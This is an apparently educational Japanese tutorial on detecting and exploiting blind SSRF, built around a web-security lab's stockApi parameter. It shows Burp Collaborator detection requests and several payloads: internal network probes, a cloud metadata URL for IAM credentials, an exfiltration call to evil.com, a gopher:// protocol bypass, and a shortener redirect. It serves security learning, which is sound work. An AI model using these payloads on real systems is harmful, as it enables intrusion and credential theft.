Hello there, ('ω')ノ
Blind SSRF(ブラインドSSRF)脆弱性は、レスポンスが攻撃者に直接返されないため、通常の方法では検出が難しいです。しかし、OAST(Out-of-band Application Security Testing)技術を使用すると、Blind SSRFの存在を特定し、悪用できる可能性があります。
1. Blind SSRFの発見方法
① Out-of-band(OAST)を利用した検出
Blind SSRF を検出する最も確実な方法は、外部サーバーに対するリクエストを強制し、それを監視する ことです。
✅ 攻撃の流れ
1. 攻撃者が管理する外部ドメイン(Burp Collaborator など)を用意
2. そのドメインを含むURLをSSRFのエントリーポイントに送信
3. サーバーがそのURLに対してHTTPリクエストを送信したかどうかを監視
4. リクエストが確認できれば、SSRF脆弱性が存在する!
② Burp Collaboratorを利用したBlind SSRFの検出
Burp SuiteのBurp Collaboratorを利用すると、簡単にBlind SSRFのテストが可能 です。
🔹 攻撃手順
- Burp Collaboratorを開き、ユニークなドメインを生成
- 例:
x6x7p6.burpcollaborator.net
- 例:
このドメインをSSRFのパラメータ(
stockApi
など)に挿入し、リクエストを送信 ```http POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118stockApi=http://x6x7p6.burpcollaborator.net ```
- Burp Collaboratorでリクエストの発生を監視
- DNSリクエストが発生すれば、アプリケーションはCollaboratorのドメインを解決しようとした
- HTTPリクエストが発生すれば、SSRFが完全に実行可能!
✅ 成功すると、アプリケーションが外部ドメインへリクエストを送信していることを確認できる。
2. Blind SSRFの影響をテストする
Blind SSRFが存在することが確認できたら、次にどこまで攻撃が可能か をテストします。
① 内部ネットワークスキャン
内部ネットワークのサーバーを探るため、異なるIPレンジへのリクエストを試す。
stockApi=http://192.168.1.1:80 stockApi=http://10.0.0.5:8080 stockApi=http://172.16.0.2/admin
✅ レスポンスの遅延やエラーメッセージを分析し、内部ネットワークの構成を把握する。
② クラウドメタデータサービスへのアクセス
AWSやGCPなどのクラウド環境では、169.254.169.254 にアクセスするとメタデータ情報が取得できる。
stockApi=http://169.254.169.254/latest/meta-data/
✅ 成功すると、クラウドのIAMクレデンシャルが取得できる可能性がある!
③ ログポイズニングによる情報窃取
アプリケーションのログにSSRFリクエストを記録させ、後で攻撃者がその情報を回収する方法。
stockApi=http://evil.com/logger?data=steal_this_info
✅ 後で evil.com
にアクセスし、ログに記録された情報を取得する。
3. Blind SSRFのネットワーク制限の回避
一部のアプリケーションでは、DNSリクエストは通るが、HTTPリクエストがブロックされる ことがあります。
🔹 なぜDNSリクエストだけ通るのか?
- 多くの企業は、外部とのDNS通信を許可しているが、HTTPリクエストはファイアウォールで制限している。
- そのため、Burp CollaboratorでDNSリクエストは観測できても、HTTPリクエストはブロックされる ことがある。
🔹 回避方法
異なるプロトコルを試す
gopher://
やftp://
などのプロトコルを使用して、内部サーバーにアクセスする。http stockApi=gopher://192.168.0.1:25/_MAIL FROM:attacker@evil.com
外部サービスのリダイレクトを利用
- 例えば、GoogleやTwitterの短縮URLサービスを利用して、リクエストを転送させる。
http stockApi=http://bit.ly/evil_redirect
- 例えば、GoogleやTwitterの短縮URLサービスを利用して、リクエストを転送させる。
4. Blind SSRFの攻撃のまとめ
攻撃手法 | 目的 |
---|---|
Burp Collaboratorを使う | SSRFの検出 |
内部ネットワークスキャン | 内部サーバーの調査 |
クラウドメタデータAPIの取得 | IAMクレデンシャルの漏洩 |
ログポイズニング | サーバーログを利用した情報窃取 |
異なるプロトコルを利用 | HTTPブロックの回避 |
🚨 Blind SSRFはレスポンスが見えないが、適切な手法を使えば影響を特定し、深刻な攻撃に発展する可能性がある!
🚀 攻撃者はBurp CollaboratorやDNSリクエストの監視を活用し、Blind SSRFを検出して悪用する!
Best regards, (^^ゞ